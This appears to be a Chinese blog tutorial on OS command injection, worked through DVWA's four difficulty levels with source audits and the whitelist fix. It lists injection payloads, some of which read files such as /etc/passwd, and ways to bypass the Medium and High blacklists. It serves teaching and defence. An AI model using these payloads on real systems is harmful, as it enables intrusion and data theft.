Command Injection 命令注入漏洞:系统命令拼接缺陷与执行利用技术
Command Injection 命令注入漏洞:系统命令拼接缺陷与执行利用技术
前言
上一篇我们详细拆解了 Open HTTP Redirect 开放重定向漏洞的校验缺陷与各类绕过技巧,相信大家对"URL 参数未校验导致的信任滥用"攻击思路已经有了清晰的认识。今天我们继续 Web 漏洞系列,来聊一个危害等级直接拉满、入门 Web 安全必须掌握的经典注入类漏洞——Command Injection(命令注入)。
如果说 SQL 注入是操作数据库,XSS 是操作用户浏览器,那命令注入就是直接操作服务器的操作系统。攻击者只要找到一个命令注入点,就能在服务器上执行任意系统命令,读文件、写 Shell、提权、内网横向移动……相当于直接拿到了服务器的控制权,属于 RCE(远程代码执行) 级别的高危漏洞。
命令注入的核心原理非常简单,本质就是用户可控的输入被直接拼接到系统命令中执行,和 SQL 注入是同一个路子——凡是"字符串拼接 + 解释执行"的地方,都可能出现注入漏洞。
1. Command Injection 核心理论基础
1.1 漏洞本质与定义
命令注入漏洞(Command Injection),又称 OS 命令注入,对应的标准漏洞编号为 CWE-78: OS Command Injection。
漏洞的本质一句话就能说清:Web 应用程序将用户可控的输入直接拼接到系统命令中执行,没有做任何过滤或转义,导致攻击者可以注入额外的命令,在服务器上执行任意系统指令。
用最直白的话讲:后端代码要执行一条系统命令,比如 ping 目标IP,其中"目标IP"是用户传进来的。结果用户传的不是 IP,而是 127.0.0.1; cat /etc/passwd,后端直接拼进去变成了 ping 127.0.0.1; cat /etc/passwd,两条命令一起执行,服务器的敏感文件就被读出来了。
典型的漏洞代码长这样(PHP 为例):
$ip = $_GET['ip'];
system("ping " . $ip); // 用户输入直接拼进命令里
用户传什么,命令里就有什么,完全不设防。
1.2 漏洞成立的三大必要条件
不是所有带参数的地方都有命令注入,必须同时满足以下三个条件:
条件一:用户可控的输入被拼接到系统命令中
- 后端调用了执行系统命令的函数(PHP 的
system()、exec()、shell_exec(),Java 的Runtime.getRuntime().exec(),Python 的os.system()等) - 命令的某一部分(参数、选项等)完全由用户输入控制
条件二:没有对用户输入做严格的过滤和转义
- 完全没过滤(Low 级别)
- 过滤了但能被绕过(Medium/High 级别)
- 用了黑名单、关键字替换等不靠谱的过滤方式
条件三:命令执行函数的输出能被回显或利用
- 有回显:命令执行结果直接显示在页面上(最理想情况)
- 无回显:可以通过 DNS 外带、时间盲注等方式判断命令是否执行成功
1.3 完整攻击链路
命令注入的攻击链路非常直接,分四步走:
第一步:寻找命令注入点
在目标网站上找那些"看起来会调用系统功能"的地方,比如:
- ping 功能、traceroute 功能
- 文件解压、格式转换功能
- DNS 查询、WHOIS 查询功能
- 系统信息展示、日志查看功能
第二步:判断是否存在注入
先传正常参数,看功能是否正常。然后尝试在参数后面加分号、管道符等命令分隔符,看是否能执行额外命令。
比如正常输入 127.0.0.1 能 ping 通,输入 127.0.0.1; whoami 后,如果页面返回了当前用户名,说明存在命令注入。
第三步:信息收集与权限判断
确认有注入后,先摸清楚服务器的基本情况:
- 什么操作系统(Windows/Linux)
- 当前用户是谁、有什么权限
- 网站根目录在哪、能不能写文件
- 有哪些有用的系统命令可以用
第四步:进一步利用
根据权限和环境,逐步扩大战果:
- 读敏感文件(
/etc/passwd、配置文件、源码等) - 写 WebShell 拿到持久化控制
- 提权拿到 root/管理员权限
- 内网横向移动,渗透整个内网
1.4 命令注入与代码注入的核心区别
很多人容易把命令注入和代码注入搞混,其实两者不是一回事:
| 类型 | 执行层面 | 典型函数 | 危害范围 |
|---|---|---|---|
| 命令注入 | 操作系统层面 | system()、exec()、os.system() |
整个服务器系统 |
| 代码注入 | 应用程序语言层面 | eval()、assert()、exec()(Python) |
应用程序权限范围内 |
简单说:
- 命令注入 = 直接调用系统 Shell 执行命令
- 代码注入 = 在当前编程语言的解释器里执行代码
命令注入的危害通常更大,因为它直接操作的是操作系统,不受应用层权限的限制(当然也看运行用户是谁)。
1.5 常见攻击场景与业务危害
命令注入属于高危甚至严重级别的漏洞,危害极大。
主要攻击场景:
-
网络工具类功能(最常见)
ping、traceroute、nslookup、whois 等网络诊断功能,几乎都是直接调用系统命令实现的,是命令注入的重灾区。 -
文件处理类功能
文件压缩/解压、格式转换、图片处理、PDF 生成等功能,很多是调用 ImageMagick、ffmpeg 等外部命令实现的,参数过滤不严就会被注入。 -
系统管理类功能
一些后台管理功能会提供"查看系统日志"、“重启服务”、"备份数据"等功能,本质都是执行系统命令,一旦被越权访问就是灾难。 -
第三方组件/插件
很多 CMS、框架、插件自带的功能里可能藏着命令注入,不需要登录就能打,危害极大。
业务危害:
- 直接 RCE:攻击者可以在服务器上执行任意命令,完全控制服务器
- 数据泄露:读取数据库配置、用户数据、源码等敏感信息
- 网页篡改:修改网站文件,挂黑页、挂马
- 内网渗透:以服务器为跳板,横向攻击内网其他机器
- 勒索挖矿:植入勒索病毒、挖矿木马,造成直接经济损失
1.6 漏洞在安全榜单中的定位
- CWE 编号:CWE-78 — OS Command Injection(操作系统命令注入的标准定义)
- OWASP Top 10:属于 A03:2021 - Injection(注入类漏洞)的一种,和 SQL 注入、XSS 同属注入大家族,常年位居 OWASP Top 10 前列
- CTF 定位:Web 方向的核心考点,入门必学,几乎每场 CTF 都有命令注入的题,从简单的直接注入到复杂的各种绕过,花样百出
- 漏洞评级:一般直接评 高危,如果无需登录且能直接 getshell,直接 严重 级别
- 实战地位:在真实渗透测试中,命令注入是"含金量"极高的漏洞,找到一个往往就能直接拿下服务器,属于 P1/P0 级别的高危漏洞
一句话总结:命令注入是注入类漏洞里最"爽"的一种——找到就是 RCE,直接拿到服务器权限,是 Web 安全入门必须吃透的核心漏洞。
2. DVWA Command Injection(Low)
2.1 页面黑盒探测
先不看源码,我们以渗透测试者的视角,先摸清楚这个页面的功能。
进入 DVWA 的 Command Injection 模块,看到一个输入框,提示"Enter an IP address to ping"(输入一个 IP 地址来 ping),旁边有个 Submit 按钮。
看起来是个 ping 功能,我们先正常用一下,输入 127.0.0.1,点提交。
正常返回结果:
注:Windows 环境下 ping 输出的中文提示可能会显示菱形问号乱码,这是 GBK 和 UTF-8 编码冲突导致的,不影响漏洞测试,数字和英文输出都是正常的。
页面直接把 ping 命令的输出结果显示出来了,说明后端确实调用了系统的 ping 命令,而且有回显。
黑盒初步结论:
- 功能:调用系统 ping 命令测试网络连通性
- 输入参数:IP 地址,用户完全可控
- 输出:命令执行结果直接回显在页面上
那问题来了:如果我在 IP 后面加点别的东西,比如分号加另一条命令,会怎么样?这就是命令注入的核心测试思路。
2.2 黑盒漏洞利用实操
2.2.1 分号分隔符注入(最经典)
命令注入最经典的分隔符就是分号 ;,在 Linux Shell 里,分号用来分隔多条命令,按顺序执行。
测试思路: 在正常 IP 后面加分号,再加一条我们想执行的命令,看能不能一起执行。
构造 Payload:
127.0.0.1 & whoami
把这个输入到框里提交。

结果: 页面先输出了 ping 的结果,然后紧接着输出了当前用户名(Linux 下通常是 www-data,Windows 下是系统用户名)。
说明 whoami 命令被成功执行了!命令注入漏洞实锤。
2.2.2 常用分隔符与 Payload 汇总
除了分号,还有很多种命令分隔符都可以用,不同场景用不同的:
| 分隔符 | 作用 | 示例 Payload | 适用场景 |
|---|---|---|---|
; |
顺序执行多条命令 | 127.0.0.1; whoami |
Linux 专用,Windows CMD 不识别 |
&& |
前置命令执行成功,才执行后置命令 | 127.0.0.1 && dir |
Linux / Windows 通用 |
| || | 前置命令执行失败,才执行后置命令 | 127.0.0.1|| ver |
Linux / Windows 通用 |
| | | 管道符,将前命令输出传给后命令 | 127.0.0.1 | ipconfig |
Linux / Windows 通用 |
& |
并行同时执行两条命令 | 127.0.0.1 & dir |
Windows 首选,Linux 也兼容 |
%0a(URL换行符) |
换行分割两条独立命令,绕过字符过滤 | 127.0.0.1%0adir |
存在符号黑名单过滤的绕过场景 |
实战常用 Payload 清单:
# 查看当前用户
127.0.0.1; whoami
# 查看操作系统信息
127.0.0.1; uname -a # Linux
127.0.0.1 & ver # Windows
# 查看当前目录
127.0.0.1; pwd # Linux
127.0.0.1 & cd # Windows
# 列出当前目录文件
127.0.0.1; ls -la # Linux
127.0.0.1 & dir # Windows
# 读取敏感文件
127.0.0.1; cat /etc/passwd # Linux
127.0.0.1 & type C:\Windows\System32\drivers\etc\hosts # Windows
# 查看网络配置
127.0.0.1; ifconfig # Linux
127.0.0.1 & ipconfig # Windows
Low 级别没有任何过滤,这些 Payload 全都可以直接用。
2.3 源码审计(无过滤直接拼接)
黑盒测完了,我们来看看源码,确认一下是不是真的什么防护都没有。
Low 级别的源码路径:/vulnerabilities/exec/source/low.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
源码逐行分析:
-
获取用户输入(第 5 行)
$target = $_REQUEST[ 'ip' ];直接接收前端传入的
ip参数,没有任何过滤、转义、校验,用户输入的所有特殊字符(; | & || &&等)全部原样保留。 -
判断操作系统并拼接命令(第 8-14 行)
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); // Windows } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); // Linux }- 用
php_uname('s')判断当前是 Windows 还是 Linux 系统 - 根据系统不同,拼接不同的 ping 命令参数
- 核心漏洞点:用户输入
$target直接拼接到命令字符串里,没有任何处理 - 正常输入
127.0.0.1→ 执行ping -c 4 127.0.0.1 - 注入输入
127.0.0.1; whoami→ 执行ping -c 4 127.0.0.1; whoami
- 用
-
执行结果回显(第 17 行)
$html .= "<pre>{$cmd}</pre>";命令执行结果直接输出到页面,属于有回显命令注入,可以直接看到命令执行的输出。
一句话总结 Low 级别: 完全没有任何安全防护,用户输入直接拼进系统命令执行,属于"开发者根本没想过有人会在 IP 里塞命令"的典型反面教材,是最基础的命令注入形态。
3. DVWA Command Injection(Medium)
3.1 页面黑盒探测
切换靶场难度为Medium,进入Ping功能页面,页面结构与Low一致,仅IP输入框与提交按钮。
- 输入正常IP
127.0.0.1提交,ping正常返回数据,基础功能无异常; - 复用Low核心Payload
127.0.0.1; dir测试,页面仅展示ping输出,无dir目录信息,判定分号;被后端过滤; - 尝试双与号Payload
127.0.0.1 && dir,页面提示找不到主机,&&被整体清空,注入失效。
黑盒初步结论:后端启用黑名单过滤,拦截了;、&&两类常用分隔符,但未对全部命令符号做处理,存在绕过空间。
3.2 黑盒漏洞利用实操
3.2.1 单个&分隔符绕过(Windows最优)
测试Payload
127.0.0.1 & dir
提交后页面同时输出ping反馈、当前目录文件列表,注入成功。
原理:黑名单仅清除&&与;,单个&不在过滤数组内,Windows CMD可识别&分割多条命令。
3.2.2 全环境可用Payload汇总(Windows靶场专用)
| 分隔符 | Payload示例 | 执行效果 |
|---|---|---|
& |
127.0.0.1 & dir |
并行执行ping、列出目录 |
| | | 127.0.0.1 | ver |
管道符,输出系统版本 |
| || | 127.0.0.1 || ipconfig |
ping失败后执行查看网卡信息 |
3.3 源码审计
完整Medium源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// 黑名单数组:过滤 && 和 ;
$substitutions = array(
'&&' => '',
';' => '',
);
// 单次替换,删除匹配到的 &&、;
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
// 新增编码转换,解决Windows ping中文乱码
$cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
漏洞核心拆解
- 过滤逻辑缺陷:仅删除
&&、;,&、|、||完全放行;str_replace仅单次匹配,无法覆盖全部命令分隔符; - 高危拼接执行:过滤后的变量直接拼接进
shell_exec(),无IP格式白名单校验,可控符号可带入系统命令; - 编码修复说明:Windows分支添加
iconv编码转换,解决CMD中文GBK与网页UTF-8冲突的菱形问号乱码。
4. DVWA Command Injection(High)
4.1 页面黑盒探测
- 正常输入
127.0.0.1提交,ping 正常返回数据,基础功能正常。 - 测试 Medium 可用Payload
127.0.0.1 & dir:仅输出ping结果,&被过滤。 - 测试
127.0.0.1 || ver、127.0.0.1; dir:全部失效,||、;被清空。 - 测试带空格管道
127.0.0.1 | dir:无第二条命令输出,|(管道+空格)被过滤。 - 测试无空格管道
127.0.0.1|dir:同时输出ping与目录列表,注入成功。 - 测试URL换行
127.0.0.1%0aver:成功执行ver查看系统版本,可绕过。
黑盒结论:后端扩充黑名单拦截绝大多数分隔符,但过滤存在两处漏洞:只拦截带空格的管道| 、未拦截URL换行符%0a,存在绕过手段。
4.2 黑盒漏洞利用实操
无空格管道符绕过
Payload:
127.0.0.1|dir
利用原理:黑名单匹配规则是| (管道后带空格),输入|dir无空格,无法命中过滤规则,管道符完整保留,CMD识别管道执行多条命令。

4.3 源码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入,trim去除首尾空格
$target = trim($_REQUEST[ 'ip' ]);
// 扩容黑名单,过滤大量命令特殊符号
$substitutions = array(
'||' => '',
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
);
// 单次替换删除黑名单内所有匹配字符
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 判断系统执行ping命令,直接拼接过滤后的输入
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
// Windows GBK编码转UTF-8,修复中文乱码
$cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
}
else {
// Linux
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 执行结果回显页面
echo "<pre>{$cmd}</pre>";
}
?>
逐行漏洞拆解
- 输入预处理
trim()
清除输入首尾空格,防止用首尾空格构造过滤绕过。 - 核心黑名单过滤缺陷
$substitutions = array(
'||' => '',
'&' => '',
';' => '',
'| ' => '', // 仅过滤【管道+空格】,单独|不处理
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
- 只匹配
|(管道后带空格),连续无空格|不会被删除; - 未收录换行符
\n(URL编码%0a),无法拦截换行分割命令; str_replace仅做简单字符替换,无循环过滤、无IP格式白名单校验。
- 高危命令拼接
过滤后的$target直接拼接进shell_exec(),用户可控特殊字符仍能带入系统命令执行。 - 编码转换代码
Windows分支增加iconv("GBK", "UTF-8//IGNORE"),将CMD输出的GBK中文转为UTF-8,解决页面乱码方块。 - 输出修改:使用
echo直接打印结果,不再使用$html拼接,和Low/Medium源码输出逻辑区分。
High级别总结
相比Medium大幅扩充黑名单覆盖更多危险符号,但本质仍是黑名单防御,无法穷尽所有命令分隔手段,依靠无空格管道、URL换行符即可绕过,依然存在完整命令注入漏洞。
5. DVWA Command Injection(Impossible)
5.1 源码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 1. CSRF令牌校验,防止跨站伪造请求
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取用户输入
$target = $_REQUEST[ 'ip' ];
// 去除转义反斜杠
$target = stripslashes( $target );
// 用点号.把输入拆分成四段数组
$octet = explode( ".", $target );
// 核心白名单校验:必须是4段,且每一段都只能是纯数字
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 校验通过后,手动用四段数字重新拼接IP,完全丢弃用户输入里的所有特殊字符
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 判断操作系统执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
// Windows GBK编码转UTF-8,修复中文乱码
$cmd = iconv("GBK", "UTF-8//IGNORE", $cmd);
}
else {
// Linux/Unix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 回显执行结果
echo "<pre>{$cmd}</pre>";
}
else {
// 格式不合法 → 直接报错,不执行任何命令
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成新的CSRF令牌
generateSessionToken();
?>
分层源码安全分析
- CSRF防护层
checkToken()校验会话绑定的随机token:
- 外部不能直接构造POST发包,必须从当前页面获取合法
user_token; - 拦截跨站伪造请求,阻断脱离页面的自动化注入发包。
-
转义符清理
stripslashes($target)
清除输入中所有转义反斜杠\,杜绝通过转义字符变形特殊符号绕过校验。 -
核心白名单校验(根治命令注入的关键)
$octet = explode(".", $target);
if( is_numeric四段全部通过 && 数组长度等于4 )
- 逻辑:输入必须严格是标准IPv4格式,拆分为4段,每一段只能是数字;
- 注入阻断逻辑:只要输入包含
;&\|\|\|%0a任意符号,拆分后某一段会包含非数字字符,is_numeric()返回false,直接进入else分支。
- 纯净IP重拼接,彻底销毁用户可控恶意字符
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
不使用原始用户输入,仅提取四段数字重新拼接IP,原始输入里所有特殊符号全部被丢弃,没有任何恶意字符能进入shell_exec。
- 命令执行与编码处理
- 只有白名单校验通过,才会调用
shell_exec()执行ping;校验失败完全不调用系统命令; - Windows分支增加
iconv("GBK", "UTF-8//IGNORE"),将CMD的GBK输出转为网页UTF-8编码,消除中文乱码方块,不影响安全逻辑。
- 会话令牌刷新
页面底部generateSessionToken()每次提交后刷新token,防止令牌复用。
5.2 源码安全总结
- 抛弃Low/Medium/High的黑名单思路,采用输入格式白名单,从根源阻断所有命令分隔符;
- 多层防护叠加:CSRF校验 + 转义符清理 + IP格式强校验;
- 不存在任何可绕过方式,无命令注入漏洞,是DVWA标准安全写法。
免责声明
- 本文所有内容仅用于网络安全技术研究与教学演示,所有测试均在本地授权搭建的 DVWA 靶场环境中进行,旨在帮助读者理解漏洞原理与防御机制。
- 请勿将本文涉及的技术与方法用于任何未经授权的真实系统测试。任何利用本文内容进行的非法攻击行为,均与作者无关,由使用者自行承担相应法律责任。
- 网络安全学习请严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确书面授权的前提下开展安全测试。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)